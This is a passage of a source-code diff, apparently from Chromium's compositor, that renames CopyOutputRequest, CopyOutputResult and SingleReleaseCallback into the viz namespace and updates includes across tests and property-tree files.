-        CopyOutputRequest::CreateRequest(base::BindOnce(&IgnoreResult)));
+        viz::CopyOutputRequest::CreateRequest(base::BindOnce(&IgnoreResult)));
   }
 
  protected:
@@ -8892,7 +8956,7 @@
 }
 
 void ShutdownReleasesContext_Callback(
-    std::unique_ptr<CopyOutputResult> result) {}
+    std::unique_ptr<viz::CopyOutputResult> result) {}
 
 class FrameSinkClient : public viz::TestLayerTreeFrameSinkClient {
  public:
@@ -8937,7 +9001,7 @@
 
   LayerImpl* root = host_impl_->active_tree()->root_layer_for_testing();
   root->test_properties()->copy_requests.push_back(
-      CopyOutputRequest::CreateRequest(
+      viz::CopyOutputRequest::CreateRequest(
           base::BindOnce(&ShutdownReleasesContext_Callback)));
   host_impl_->active_tree()->BuildPropertyTreesForTesting();
 
diff --git a/cc/trees/layer_tree_host_perftest.cc b/cc/trees/layer_tree_host_perftest.cc
index 7588925..7afaa6c 100644
--- a/cc/trees/layer_tree_host_perftest.cc
+++ b/cc/trees/layer_tree_host_perftest.cc
@@ -17,11 +17,11 @@
 #include "cc/layers/nine_patch_layer.h"
 #include "cc/layers/solid_color_layer.h"
 #include "cc/layers/texture_layer.h"
-#include "cc/resources/single_release_callback.h"
 #include "cc/test/fake_content_layer_client.h"
 #include "cc/test/layer_tree_json_parser.h"
 #include "cc/test/layer_tree_test.h"
 #include "cc/trees/layer_tree_impl.h"
+#include "components/viz/common/quads/single_release_callback.h"
 #include "components/viz/common/quads/texture_mailbox.h"
 #include "components/viz/test/paths.h"
 #include "components/viz/test/test_layer_tree_frame_sink.h"
@@ -315,8 +315,8 @@
     name_stream << "name" << next_fence_sync_;
     gpu_mailbox.SetName(
         reinterpret_cast<const int8_t*>(name_stream.str().c_str()));
-    std::unique_ptr<SingleReleaseCallback> callback =
-        SingleReleaseCallback::Create(base::Bind(
+    std::unique_ptr<viz::SingleReleaseCallback> callback =
+        viz::SingleReleaseCallback::Create(base::Bind(
             &BrowserCompositorInvalidateLayerTreePerfTest::ReleaseMailbox,
             base::Unretained(this)));
 
diff --git a/cc/trees/layer_tree_host_pixeltest_readback.cc b/cc/trees/layer_tree_host_pixeltest_readback.cc
index 189da3b..e2a5461e 100644
--- a/cc/trees/layer_tree_host_pixeltest_readback.cc
+++ b/cc/trees/layer_tree_host_pixeltest_readback.cc
@@ -5,13 +5,13 @@
 #include "build/build_config.h"
 #include "cc/layers/solid_color_layer.h"
 #include "cc/layers/texture_layer.h"
-#include "cc/output/copy_output_request.h"
-#include "cc/output/copy_output_result.h"
 #include "cc/test/fake_picture_layer.h"
 #include "cc/test/fake_picture_layer_impl.h"
 #include "cc/test/layer_tree_pixel_test.h"
 #include "cc/test/solid_color_content_layer_client.h"
 #include "cc/trees/layer_tree_impl.h"
+#include "components/viz/common/quads/copy_output_request.h"
+#include "components/viz/common/quads/copy_output_result.h"
 #include "components/viz/test/paths.h"
 
 #if !defined(OS_ANDROID)
@@ -60,22 +60,22 @@
     RunPixelTestWithReadbackTarget(type, content_root, target, file_name);
   }
 
-  std::unique_ptr<CopyOutputRequest> CreateCopyOutputRequest() override {
-    std::unique_ptr<CopyOutputRequest> request;
+  std::unique_ptr<viz::CopyOutputRequest> CreateCopyOutputRequest() override {
+    std::unique_ptr<viz::CopyOutputRequest> request;
 
     if (readback_type_ == READBACK_BITMAP) {
-      request = CopyOutputRequest::CreateBitmapRequest(base::BindOnce(
+      request = viz::CopyOutputRequest::CreateBitmapRequest(base::BindOnce(
           &LayerTreeHostReadbackPixelTest::ReadbackResultAsBitmap,
           base::Unretained(this)));
     } else {
       DCHECK_EQ(readback_type_, READBACK_DEFAULT);
       if (test_type_ == PIXEL_TEST_SOFTWARE) {
-        request = CopyOutputRequest::CreateRequest(base::BindOnce(
+        request = viz::CopyOutputRequest::CreateRequest(base::BindOnce(
             &LayerTreeHostReadbackPixelTest::ReadbackResultAsBitmap,
             base::Unretained(this)));
       } else {
         DCHECK_EQ(test_type_, PIXEL_TEST_GL);
-        request = CopyOutputRequest::CreateRequest(base::BindOnce(
+        request = viz::CopyOutputRequest::CreateRequest(base::BindOnce(
             &LayerTreeHostReadbackPixelTest::ReadbackResultAsTexture,
             base::Unretained(this)));
       }
@@ -104,19 +104,19 @@
     }
   }
 
-  void ReadbackResultAsBitmap(std::unique_ptr<CopyOutputResult> result) {
+  void ReadbackResultAsBitmap(std::unique_ptr<viz::CopyOutputResult> result) {
     EXPECT_TRUE(task_runner_provider()->IsMainThread());
     EXPECT_TRUE(result->HasBitmap());
     result_bitmap_ = result->TakeBitmap();
     EndTest();
   }
 
-  void ReadbackResultAsTexture(std::unique_ptr<CopyOutputResult> result) {
+  void ReadbackResultAsTexture(std::unique_ptr<viz::CopyOutputResult> result) {
     EXPECT_TRUE(task_runner_provider()->IsMainThread());
     EXPECT_TRUE(result->HasTexture());
 
     viz::TextureMailbox texture_mailbox;
-    std::unique_ptr<SingleReleaseCallback> release_callback;
+    std::unique_ptr<viz::SingleReleaseCallback> release_callback;
     result->TakeTexture(&texture_mailbox, &release_callback);
     EXPECT_TRUE(texture_mailbox.IsValid());
     EXPECT_TRUE(texture_mailbox.IsTexture());
@@ -126,7 +126,7 @@
     release_callback->Run(gpu::SyncToken(), false);
 
     ReadbackResultAsBitmap(
-        CopyOutputResult::CreateBitmapResult(std::move(bitmap)));
+        viz::CopyOutputResult::CreateBitmapResult(std::move(bitmap)));
   }
 
   ReadbackType readback_type_;
@@ -134,7 +134,7 @@
   int insert_copy_request_after_frame_count_;
 };
 
-void IgnoreReadbackResult(std::unique_ptr<CopyOutputResult> result) {}
+void IgnoreReadbackResult(std::unique_ptr<viz::CopyOutputResult> result) {}
 
 TEST_P(LayerTreeHostReadbackPixelTest, ReadbackRootLayer) {
   scoped_refptr<SolidColorLayer> background =
@@ -289,8 +289,9 @@
       CreateSolidColorLayer(gfx::Rect(150, 150, 50, 50), SK_ColorBLUE);
   hidden_target->AddChild(blue);
 
-  hidden_target->RequestCopyOfOutput(CopyOutputRequest::CreateBitmapRequest(
-      base::BindOnce(&IgnoreReadbackResult)));
+  hidden_target->RequestCopyOfOutput(
+      viz::CopyOutputRequest::CreateBitmapRequest(
+          base::BindOnce(&IgnoreReadbackResult)));
   RunReadbackTest(GetParam().pixel_test_type, GetParam().readback_type,
                   background, base::FilePath(FILE_PATH_LITERAL("black.png")));
 }
@@ -414,7 +415,7 @@
 
   scoped_refptr<SolidColorLayer> blue =
       CreateSolidColorLayer(gfx::Rect(150, 150, 50, 50), SK_ColorBLUE);
-  blue->RequestCopyOfOutput(CopyOutputRequest::CreateBitmapRequest(
+  blue->RequestCopyOfOutput(viz::CopyOutputRequest::CreateBitmapRequest(
       base::BindOnce(&IgnoreReadbackResult)));
   background->AddChild(blue);
 
@@ -434,7 +435,7 @@
   scoped_refptr<SolidColorLayer> background =
       CreateSolidColorLayer(gfx::Rect(200, 200), SK_ColorGREEN);
 
-  background->RequestCopyOfOutput(CopyOutputRequest::CreateBitmapRequest(
+  background->RequestCopyOfOutput(viz::CopyOutputRequest::CreateBitmapRequest(
       base::BindOnce(&IgnoreReadbackResult)));
 
   RunReadbackTestWithReadbackTarget(
diff --git a/cc/trees/layer_tree_host_pixeltest_tiles.cc b/cc/trees/layer_tree_host_pixeltest_tiles.cc
index 35bbc97..64ad181 100644
--- a/cc/trees/layer_tree_host_pixeltest_tiles.cc
+++ b/cc/trees/layer_tree_host_pixeltest_tiles.cc
@@ -6,11 +6,11 @@
 
 #include "cc/layers/content_layer_client.h"
 #include "cc/layers/picture_layer.h"
-#include "cc/output/copy_output_request.h"
 #include "cc/paint/display_item_list.h"
 #include "cc/paint/paint_flags.h"
 #include "cc/paint/paint_op_buffer.h"
 #include "cc/test/layer_tree_pixel_test.h"
+#include "components/viz/common/quads/copy_output_request.h"
 #include "components/viz/test/test_layer_tree_frame_sink.h"
 #include "gpu/command_buffer/client/gles2_interface.h"
 
diff --git a/cc/trees/layer_tree_host_unittest.cc b/cc/trees/layer_tree_host_unittest.cc
index 71bd4c0..fe70167 100644
--- a/cc/trees/layer_tree_host_unittest.cc
+++ b/cc/trees/layer_tree_host_unittest.cc
@@ -25,8 +25,6 @@
 #include "cc/layers/picture_layer.h"
 #include "cc/layers/solid_color_layer.h"
 #include "cc/layers/video_layer.h"
-#include "cc/output/copy_output_request.h"
-#include "cc/output/copy_output_result.h"
 #include "cc/output/output_surface.h"
 #include "cc/output/swap_promise.h"
 #include "cc/quads/draw_quad.h"
@@ -62,6 +60,8 @@
 #include "cc/trees/swap_promise_manager.h"
 #include "cc/trees/transform_node.h"
 #include "components/viz/common/frame_sinks/begin_frame_args.h"
+#include "components/viz/common/quads/copy_output_request.h"
+#include "components/viz/common/quads/copy_output_result.h"
 #include "components/viz/test/begin_frame_args_test.h"
 #include "components/viz/test/test_layer_tree_frame_sink.h"
 #include "gpu/GLES2/gl2extchromium.h"
@@ -6834,7 +6834,8 @@
     LayerTreeHostTest::SetupTree();
   }
 
-  static void CopyOutputCallback(std::unique_ptr<CopyOutputResult> result) {}
+  static void CopyOutputCallback(
+      std::unique_ptr<viz::CopyOutputResult> result) {}
 
   void BeginTest() override { PostSetNeedsCommitToMainThread(); }
 
@@ -6850,7 +6851,7 @@
     gfx::Transform transform;
     switch (layer_tree_host()->SourceFrameNumber()) {
       case 1:
-        child->RequestCopyOfOutput(CopyOutputRequest::CreateBitmapRequest(
+        child->RequestCopyOfOutput(viz::CopyOutputRequest::CreateBitmapRequest(
             base::BindOnce(CopyOutputCallback)));
         transform.Scale(2.0, 2.0);
         child->SetTransform(transform);
diff --git a/cc/trees/layer_tree_host_unittest_context.cc b/cc/trees/layer_tree_host_unittest_context.cc
index 46ee87a..65f8ef4 100644
--- a/cc/trees/layer_tree_host_unittest_context.cc
+++ b/cc/trees/layer_tree_host_unittest_context.cc
@@ -16,7 +16,6 @@
 #include "cc/layers/video_layer.h"
 #include "cc/layers/video_layer_impl.h"
 #include "cc/paint/paint_flags.h"
-#include "cc/resources/single_release_callback.h"
 #include "cc/resources/ui_resource_manager.h"
 #include "cc/test/fake_content_layer_client.h"
 #include "cc/test/fake_layer_tree_host_client.h"
@@ -36,6 +35,7 @@
 #include "cc/trees/layer_tree_host_impl.h"
 #include "cc/trees/layer_tree_impl.h"
 #include "cc/trees/single_thread_proxy.h"
+#include "components/viz/common/quads/single_release_callback.h"
 #include "components/viz/test/test_layer_tree_frame_sink.h"
 #include "gpu/GLES2/gl2extchromium.h"
 #include "media/base/media.h"
@@ -921,7 +921,7 @@
     texture->SetIsDrawable(true);
     texture->SetTextureMailbox(
         viz::TextureMailbox(mailbox, sync_token, GL_TEXTURE_2D),
-        SingleReleaseCallback::Create(
+        viz::SingleReleaseCallback::Create(
             base::Bind(&LayerTreeHostContextTestDontUseLostResources::
                            EmptyReleaseCallback)));
     root->AddChild(texture);
diff --git a/cc/trees/layer_tree_host_unittest_copyrequest.cc b/cc/trees/layer_tree_host_unittest_copyrequest.cc
index d4122f0..8c02666 100644
--- a/cc/trees/layer_tree_host_unittest_copyrequest.cc
+++ b/cc/trees/layer_tree_host_unittest_copyrequest.cc
@@ -9,14 +9,14 @@
 #include "base/single_thread_task_runner.h"
 #include "base/threading/thread_task_runner_handle.h"
 #include "cc/layers/effect_tree_layer_list_iterator.h"
-#include "cc/output/copy_output_request.h"
-#include "cc/output/copy_output_result.h"
 #include "cc/output/direct_renderer.h"
 #include "cc/test/fake_content_layer_client.h"
 #include "cc/test/fake_output_surface.h"
 #include "cc/test/fake_picture_layer.h"
 #include "cc/test/layer_tree_test.h"
 #include "cc/trees/layer_tree_impl.h"
+#include "components/viz/common/quads/copy_output_request.h"
+#include "components/viz/common/quads/copy_output_result.h"
 #include "components/viz/test/test_layer_tree_frame_sink.h"
 #include "gpu/GLES2/gl2extchromium.h"
 
@@ -62,7 +62,7 @@
     int frame = layer_tree_host()->SourceFrameNumber();
     switch (frame) {
       case 1:
-        child->RequestCopyOfOutput(CopyOutputRequest::CreateBitmapRequest(
+        child->RequestCopyOfOutput(viz::CopyOutputRequest::CreateBitmapRequest(
             base::BindOnce(&LayerTreeHostCopyRequestTestMultipleRequests::
                                CopyOutputCallback,
                            base::Unretained(this), 0)));
@@ -79,18 +79,19 @@
         EXPECT_EQ(1u, callbacks_.size());
         EXPECT_EQ(gfx::Size(10, 10).ToString(), callbacks_[0].ToString());
 
-        child->RequestCopyOfOutput(CopyOutputRequest::CreateBitmapRequest(
+        child->RequestCopyOfOutput(viz::CopyOutputRequest::CreateBitmapRequest(
             base::BindOnce(&LayerTreeHostCopyRequestTestMultipleRequests::
                                CopyOutputCallback,
                            base::Unretained(this), 1)));
-        root->RequestCopyOfOutput(CopyOutputRequest::CreateBitmapRequest(
+        root->RequestCopyOfOutput(viz::CopyOutputRequest::CreateBitmapRequest(
             base::BindOnce(&LayerTreeHostCopyRequestTestMultipleRequests::
                                CopyOutputCallback,
                            base::Unretained(this), 2)));
-        grand_child->RequestCopyOfOutput(CopyOutputRequest::CreateBitmapRequest(
-            base::BindOnce(&LayerTreeHostCopyRequestTestMultipleRequests::
-                               CopyOutputCallback,
-                           base::Unretained(this), 3)));
+        grand_child->RequestCopyOfOutput(
+            viz::CopyOutputRequest::CreateBitmapRequest(
+                base::BindOnce(&LayerTreeHostCopyRequestTestMultipleRequests::
+                                   CopyOutputCallback,
+                               base::Unretained(this), 3)));
         EXPECT_EQ(1u, callbacks_.size());
         break;
       case 4:
@@ -117,7 +118,8 @@
     }
   }
 
-  void CopyOutputCallback(size_t id, std::unique_ptr<CopyOutputResult> result) {
+  void CopyOutputCallback(size_t id,
+                          std::unique_ptr<viz::CopyOutputResult> result) {
     EXPECT_TRUE(layer_tree_host()->GetTaskRunnerProvider()->IsMainThread());
     EXPECT_TRUE(result->HasBitmap());
     std::unique_ptr<SkBitmap> bitmap = result->TakeBitmap();
@@ -218,7 +220,7 @@
     int frame = layer_tree_host()->SourceFrameNumber();
     switch (frame) {
       case 1:
-        layer_->RequestCopyOfOutput(CopyOutputRequest::CreateBitmapRequest(
+        layer_->RequestCopyOfOutput(viz::CopyOutputRequest::CreateBitmapRequest(
             base::BindOnce(&LayerTreeHostCopyRequestCompletionCausesCommit::
                                CopyOutputCallback)));
         break;
@@ -232,7 +234,8 @@
     }
   }
 
-  static void CopyOutputCallback(std::unique_ptr<CopyOutputResult> result) {
+  static void CopyOutputCallback(
+      std::unique_ptr<viz::CopyOutputResult> result) {
     EXPECT_FALSE(result->IsEmpty());
   }
 
@@ -275,11 +278,11 @@
     switch (frame) {
       case 1:
         main_destroyed_->RequestCopyOfOutput(
-            CopyOutputRequest::CreateBitmapRequest(base::BindOnce(
+            viz::CopyOutputRequest::CreateBitmapRequest(base::BindOnce(
                 &LayerTreeHostCopyRequestTestLayerDestroyed::CopyOutputCallback,
                 base::Unretained(this))));
         impl_destroyed_->RequestCopyOfOutput(
-            CopyOutputRequest::CreateBitmapRequest(base::BindOnce(
+            viz::CopyOutputRequest::CreateBitmapRequest(base::BindOnce(
                 &LayerTreeHostCopyRequestTestLayerDestroyed::CopyOutputCallback,
                 base::Unretained(this))));
         EXPECT_EQ(0, callback_count_);
@@ -321,7 +324,7 @@
     }
   }
 
-  void CopyOutputCallback(std::unique_ptr<CopyOutputResult> result) {
+  void CopyOutputCallback(std::unique_ptr<viz::CopyOutputResult> result) {
     EXPECT_TRUE(layer_tree_host()->GetTaskRunnerProvider()->IsMainThread());
     EXPECT_TRUE(result->IsEmpty());
     ++callback_count_;
@@ -366,7 +369,7 @@
 
   void AddCopyRequest(Layer* layer) {
     layer->RequestCopyOfOutput(
-        CopyOutputRequest::CreateBitmapRequest(base::BindOnce(
+        viz::CopyOutputRequest::CreateBitmapRequest(base::BindOnce(
             &LayerTreeHostCopyRequestTestInHiddenSubtree::CopyOutputCallback,
             base::Unretained(this))));
   }
@@ -378,7 +381,7 @@
     AddCopyRequest(copy_layer_.get());
   }
 
-  void CopyOutputCallback(std::unique_ptr<CopyOutputResult> result) {
+  void CopyOutputCallback(std::unique_ptr<viz::CopyOutputResult> result) {
     ++callback_count_;
     EXPECT_TRUE(layer_tree_host()->GetTaskRunnerProvider()->IsMainThread());
     EXPECT_EQ(copy_layer_->bounds().ToString(), result->size().ToString())
@@ -480,13 +483,13 @@
     PostSetNeedsCommitToMainThread();
 
     copy_layer_->RequestCopyOfOutput(
-        CopyOutputRequest::CreateBitmapRequest(base::BindOnce(
+        viz::CopyOutputRequest::CreateBitmapRequest(base::BindOnce(
             &LayerTreeHostTestHiddenSurfaceNotAllocatedForSubtreeCopyRequest::
                 CopyOutputCallback,
             base::Unretained(this))));
   }
 
-  void CopyOutputCallback(std::unique_ptr<CopyOutputResult> result) {
+  void CopyOutputCallback(std::unique_ptr<viz::CopyOutputResult> result) {
     EXPECT_TRUE(layer_tree_host()->GetTaskRunnerProvider()->IsMainThread());
     EXPECT_EQ(copy_layer_->bounds().ToString(), result->size().ToString());
     EndTest();
@@ -574,12 +577,12 @@
     PostSetNeedsCommitToMainThread();
 
     copy_layer_->RequestCopyOfOutput(
-        CopyOutputRequest::CreateBitmapRequest(base::BindOnce(
+        viz::CopyOutputRequest::CreateBitmapRequest(base::BindOnce(
             &LayerTreeHostCopyRequestTestClippedOut::CopyOutputCallback,
             base::Unretained(this))));
   }
 
-  void CopyOutputCallback(std::unique_ptr<CopyOutputResult> result) {
+  void CopyOutputCallback(std::unique_ptr<viz::CopyOutputResult> result) {
     // We should still get the content even if the copy requested layer was
     // completely clipped away.
     EXPECT_TRUE(layer_tree_host()->GetTaskRunnerProvider()->IsMainThread());
@@ -628,15 +631,15 @@
   void BeginTest() override {
     PostSetNeedsCommitToMainThread();
 
-    std::unique_ptr<CopyOutputRequest> request =
-        CopyOutputRequest::CreateBitmapRequest(base::BindOnce(
+    std::unique_ptr<viz::CopyOutputRequest> request =
+        viz::CopyOutputRequest::CreateBitmapRequest(base::BindOnce(
             &LayerTreeHostCopyRequestTestScaledLayer::CopyOutputCallback,
             base::Unretained(this)));
     request->set_area(gfx::Rect(5, 5));
     copy_layer_->RequestCopyOfOutput(std::move(request));
   }
 
-  void CopyOutputCallback(std::unique_ptr<CopyOutputResult> result) {
+  void CopyOutputCallback(std::unique_ptr<viz::CopyOutputResult> result) {
     // The request area is expressed in layer space, but the result's size takes
     // into account the transform from layer space to surface space.
     EXPECT_EQ(gfx::Size(10, 10), result->size());
@@ -671,7 +674,7 @@
 
   void AddCopyRequest(Layer* layer) {
     layer->RequestCopyOfOutput(
-        CopyOutputRequest::CreateBitmapRequest(base::BindOnce(
+        viz::CopyOutputRequest::CreateBitmapRequest(base::BindOnce(
             &LayerTreeHostTestAsyncTwoReadbacksWithoutDraw::CopyOutputCallback,
             base::Unretained(this))));
   }
@@ -703,7 +706,7 @@
     }
   }
 
-  void CopyOutputCallback(std::unique_ptr<CopyOutputResult> result) {
+  void CopyOutputCallback(std::unique_ptr<viz::CopyOutputResult> result) {
     EXPECT_TRUE(layer_tree_host()->GetTaskRunnerProvider()->IsMainThread());
 
     // The first frame can't be drawn.
@@ -763,7 +766,7 @@
   void BeginTest() override { PostSetNeedsCommitToMainThread(); }
 
   void ReceiveCopyRequestOutputAndCommit(
-      std::unique_ptr<CopyOutputResult> result) {
+      std::unique_ptr<viz::CopyOutputResult> result) {
     EXPECT_TRUE(layer_tree_host()->GetTaskRunnerProvider()->IsMainThread());
     EXPECT_EQ(gfx::Size(10, 10).ToString(), result->size().ToString());
     EXPECT_TRUE(result->HasTexture());
@@ -777,7 +780,7 @@
   }
 
   void InsertCopyRequest() {
-    copy_layer_->RequestCopyOfOutput(CopyOutputRequest::CreateRequest(
+    copy_layer_->RequestCopyOfOutput(viz::CopyOutputRequest::CreateRequest(
         base::BindOnce(&LayerTreeHostCopyRequestTestDeleteTexture::
                            ReceiveCopyRequestOutputAndCommit,
                        base::Unretained(this))));
@@ -853,7 +856,7 @@
   FakeContentLayerClient client_;
   scoped_refptr<FakePictureLayer> root_;
   scoped_refptr<FakePictureLayer> copy_layer_;
-  std::unique_ptr<CopyOutputResult> result_;
+  std::unique_ptr<viz::CopyOutputResult> result_;
 };
 
 SINGLE_AND_MULTI_THREAD_TEST_F(LayerTreeHostCopyRequestTestDeleteTexture);
@@ -968,12 +971,12 @@
   void RequestCopy(Layer* layer) override {
     // Request a normal texture copy. This should create a new texture.
     copy_layer_->RequestCopyOfOutput(
-        CopyOutputRequest::CreateRequest(base::BindOnce(
+        viz::CopyOutputRequest::CreateRequest(base::BindOnce(
             &LayerTreeHostCopyRequestTestCreatesTexture::CopyOutputCallback,
             base::Unretained(this))));
   }
 
-  void CopyOutputCallback(std::unique_ptr<CopyOutputResult> result) {
+  void CopyOutputCallback(std::unique_ptr<viz::CopyOutputResult> result) {
     EXPECT_FALSE(result->IsEmpty());
     EXPECT_TRUE(result->HasTexture());
 
@@ -991,7 +994,7 @@
     EXPECT_EQ(num_textures_without_readback_ + 1, num_textures_with_readback_);
   }
 
-  std::unique_ptr<SingleReleaseCallback> release_;
+  std::unique_ptr<viz::SingleReleaseCallback> release_;
 };
 
 SINGLE_AND_MULTI_THREAD_TEST_F(LayerTreeHostCopyRequestTestCreatesTexture);
@@ -1005,12 +1008,12 @@
     LayerTreeHostCopyRequestTestCountTextures::BeginTest();
   }
 
-  void CopyOutputCallback(std::unique_ptr<CopyOutputResult> result) {
+  void CopyOutputCallback(std::unique_ptr<viz::CopyOutputResult> result) {
     EXPECT_FALSE(result->IsEmpty());
     EXPECT_TRUE(result->HasTexture());
 
     viz::TextureMailbox mailbox;
-    std::unique_ptr<SingleReleaseCallback> release;
+    std::unique_ptr<viz::SingleReleaseCallback> release;
     result->TakeTexture(&mailbox, &release);
     EXPECT_FALSE(release);
   }
@@ -1018,8 +1021,8 @@
   void RequestCopy(Layer* layer) override {
     // Request a copy to a provided texture. This should not create a new
     // texture.
-    std::unique_ptr<CopyOutputRequest> request =
-        CopyOutputRequest::CreateRequest(base::BindOnce(
+    std::unique_ptr<viz::CopyOutputRequest> request =
+        viz::CopyOutputRequest::CreateRequest(base::BindOnce(
             &LayerTreeHostCopyRequestTestProvideTexture::CopyOutputCallback,
             base::Unretained(this)));
 
@@ -1073,7 +1076,7 @@
     PostSetNeedsCommitToMainThread();
   }
 
-  void CopyOutputCallback(std::unique_ptr<CopyOutputResult> result) {
+  void CopyOutputCallback(std::unique_ptr<viz::CopyOutputResult> result) {
     EXPECT_TRUE(result->IsEmpty());
     ++callback_count_;
   }
@@ -1092,8 +1095,8 @@
         EXPECT_EQ(0, callback_count_);
         // Put a copy request on the layer, but then don't allow any
         // drawing to take place.
-        std::unique_ptr<CopyOutputRequest> request =
-            CopyOutputRequest::CreateRequest(
+        std::unique_ptr<viz::CopyOutputRequest> request =
+            viz::CopyOutputRequest::CreateRequest(
                 base::BindOnce(&LayerTreeHostCopyRequestTestDestroyBeforeCopy::
                                    CopyOutputCallback,
                                base::Unretained(this)));
@@ -1151,7 +1154,7 @@
     PostSetNeedsCommitToMainThread();
   }
 
-  void CopyOutputCallback(std::unique_ptr<CopyOutputResult> result) {
+  void CopyOutputCallback(std::unique_ptr<viz::CopyOutputResult> result) {
     EXPECT_TRUE(result->IsEmpty());
     ++callback_count_;
   }
@@ -1170,8 +1173,8 @@
         EXPECT_EQ(0, callback_count_);
         // Put a copy request on the layer, but then don't allow any
         // drawing to take place.
-        std::unique_ptr<CopyOutputRequest> request =
-            CopyOutputRequest::CreateRequest(
+        std::unique_ptr<viz::CopyOutputRequest> request =
+            viz::CopyOutputRequest::CreateRequest(
                 base::BindOnce(&LayerTreeHostCopyRequestTestShutdownBeforeCopy::
                                    CopyOutputCallback,
                                base::Unretained(this)));
@@ -1231,7 +1234,7 @@
     // Send a copy request after the first commit.
     if (layer_tree_host()->SourceFrameNumber() == 1) {
       child_->RequestCopyOfOutput(
-          CopyOutputRequest::CreateBitmapRequest(base::BindOnce(
+          viz::CopyOutputRequest::CreateBitmapRequest(base::BindOnce(
               &LayerTreeHostCopyRequestTestMultipleDrawsHiddenCopyRequest::
                   CopyOutputCallback,
               base::Unretained(this))));
@@ -1294,7 +1297,7 @@
     return draw_result;
   }
 
-  void CopyOutputCallback(std::unique_ptr<CopyOutputResult> result) {
+  void CopyOutputCallback(std::unique_ptr<viz::CopyOutputResult> result) {
     EXPECT_FALSE(TestEnded());
     TryEndTest(WhatHappened::COPY);
   }
diff --git a/cc/trees/occlusion_tracker_unittest.cc b/cc/trees/occlusion_tracker_unittest.cc
index 715029576..8bf2949 100644
--- a/cc/trees/occlusion_tracker_unittest.cc
+++ b/cc/trees/occlusion_tracker_unittest.cc
@@ -12,8 +12,6 @@
 #include "cc/base/math_util.h"
 #include "cc/layers/layer.h"
 #include "cc/layers/layer_impl.h"
-#include "cc/output/copy_output_request.h"
-#include "cc/output/copy_output_result.h"
 #include "cc/test/animation_test_common.h"
 #include "cc/test/fake_impl_task_runner_provider.h"
 #include "cc/test/fake_layer_tree_host.h"
@@ -24,6 +22,8 @@
 #include "cc/test/test_task_graph_runner.h"
 #include "cc/trees/layer_tree_host_common.h"
 #include "cc/trees/single_thread_proxy.h"
+#include "components/viz/common/quads/copy_output_request.h"
+#include "components/viz/common/quads/copy_output_result.h"
 #include "testing/gmock/include/gmock/gmock.h"
 #include "testing/gtest/include/gtest/gtest.h"
 #include "ui/gfx/transform.h"
@@ -195,17 +195,17 @@
     layer_iterator_.reset();
   }
 
-  void CopyOutputCallback(std::unique_ptr<CopyOutputResult> result) {}
+  void CopyOutputCallback(std::unique_ptr<viz::CopyOutputResult> result) {}
 
   void AddCopyRequest(Layer* layer) {
-    layer->RequestCopyOfOutput(CopyOutputRequest::CreateBitmapRequest(
+    layer->RequestCopyOfOutput(viz::CopyOutputRequest::CreateBitmapRequest(
         base::BindOnce(&OcclusionTrackerTest::CopyOutputCallback,
                        base::Unretained(this))));
   }
 
   void AddCopyRequest(LayerImpl* layer) {
     layer->test_properties()->copy_requests.push_back(
-        CopyOutputRequest::CreateBitmapRequest(
+        viz::CopyOutputRequest::CreateBitmapRequest(
             base::BindOnce(&OcclusionTrackerTest::CopyOutputCallback,
                            base::Unretained(this))));
   }
diff --git a/cc/trees/property_tree.cc b/cc/trees/property_tree.cc
index 4f9792c1..69a3896 100644
--- a/cc/trees/property_tree.cc
+++ b/cc/trees/property_tree.cc
@@ -11,7 +11,6 @@
 #include "base/memory/ptr_util.h"
 #include "base/trace_event/trace_event_argument.h"
 #include "cc/layers/layer_impl.h"
-#include "cc/output/copy_output_request.h"
 #include "cc/trees/clip_node.h"
 #include "cc/trees/effect_node.h"
 #include "cc/trees/layer_tree_host_common.h"
@@ -20,6 +19,7 @@
 #include "cc/trees/property_tree.h"
 #include "cc/trees/scroll_node.h"
 #include "cc/trees/transform_node.h"
+#include "components/viz/common/quads/copy_output_request.h"
 #include "ui/gfx/geometry/vector2d_conversions.h"
 
 namespace cc {
@@ -915,8 +915,9 @@
   UpdateSurfaceContentsScale(node);
 }
 
-void EffectTree::AddCopyRequest(int node_id,
-                                std::unique_ptr<CopyOutputRequest> request) {
+void EffectTree::AddCopyRequest(
+    int node_id,
+    std::unique_ptr<viz::CopyOutputRequest> request) {
   copy_requests_.insert(std::make_pair(node_id, std::move(request)));
 }
 
@@ -948,7 +949,7 @@
 
 void EffectTree::TakeCopyRequestsAndTransformToSurface(
     int node_id,
-    std::vector<std::unique_ptr<CopyOutputRequest>>* requests) {
+    std::vector<std::unique_ptr<viz::CopyOutputRequest>>* requests) {
   EffectNode* effect_node = Node(node_id);
   DCHECK(effect_node->has_render_surface);
   DCHECK(effect_node->has_copy_request);
diff --git a/cc/trees/property_tree.h b/cc/trees/property_tree.h
index a9610cbb8..139cfdda 100644
--- a/cc/trees/property_tree.h
+++ b/cc/trees/property_tree.h
@@ -28,9 +28,12 @@
 }
 }
 
+namespace viz {
+class CopyOutputRequest;
+}
+
 namespace cc {
 
-class CopyOutputRequest;
 class LayerTreeImpl;
 class MutatorHost;
 class RenderSurfaceImpl;
@@ -330,11 +333,12 @@
 
   void UpdateEffectChanged(EffectNode* node, EffectNode* parent_node);
 
-  void AddCopyRequest(int node_id, std::unique_ptr<CopyOutputRequest> request);
+  void AddCopyRequest(int node_id,
+                      std::unique_ptr<viz::CopyOutputRequest> request);
   void PushCopyRequestsTo(EffectTree* other_tree);
   void TakeCopyRequestsAndTransformToSurface(
       int node_id,
-      std::vector<std::unique_ptr<CopyOutputRequest>>* requests);
+      std::vector<std::unique_ptr<viz::CopyOutputRequest>>* requests);
   bool HasCopyRequests() const;
   void ClearCopyRequests();
 
@@ -375,7 +379,7 @@
   void UpdateBackfaceVisibility(EffectNode* node, EffectNode* parent_node);
 
   // Stores copy requests, keyed by node id.
-  std::unordered_multimap<int, std::unique_ptr<CopyOutputRequest>>
+  std::unordered_multimap<int, std::unique_ptr<viz::CopyOutputRequest>>
       copy_requests_;
 
   // Unsorted list of all mask layer ids that effect nodes refer to.
diff --git a/cc/trees/property_tree_builder.cc b/cc/trees/property_tree_builder.cc
index e775529..91ec6fd0 100644
--- a/cc/trees/property_tree_builder.cc
+++ b/cc/trees/property_tree_builder.cc
@@ -13,7 +13,6 @@
 #include "cc/base/math_util.h"
 #include "cc/layers/layer.h"
 #include "cc/layers/layer_impl.h"
-#include "cc/output/copy_output_request.h"
 #include "cc/trees/clip_node.h"
 #include "cc/trees/draw_property_utils.h"
 #include "cc/trees/effect_node.h"
@@ -23,6 +22,7 @@
 #include "cc/trees/mutator_host.h"
 #include "cc/trees/scroll_node.h"
 #include "cc/trees/transform_node.h"
+#include "components/viz/common/quads/copy_output_request.h"
 #include "ui/gfx/geometry/point_f.h"
 #include "ui/gfx/geometry/vector2d_conversions.h"
 
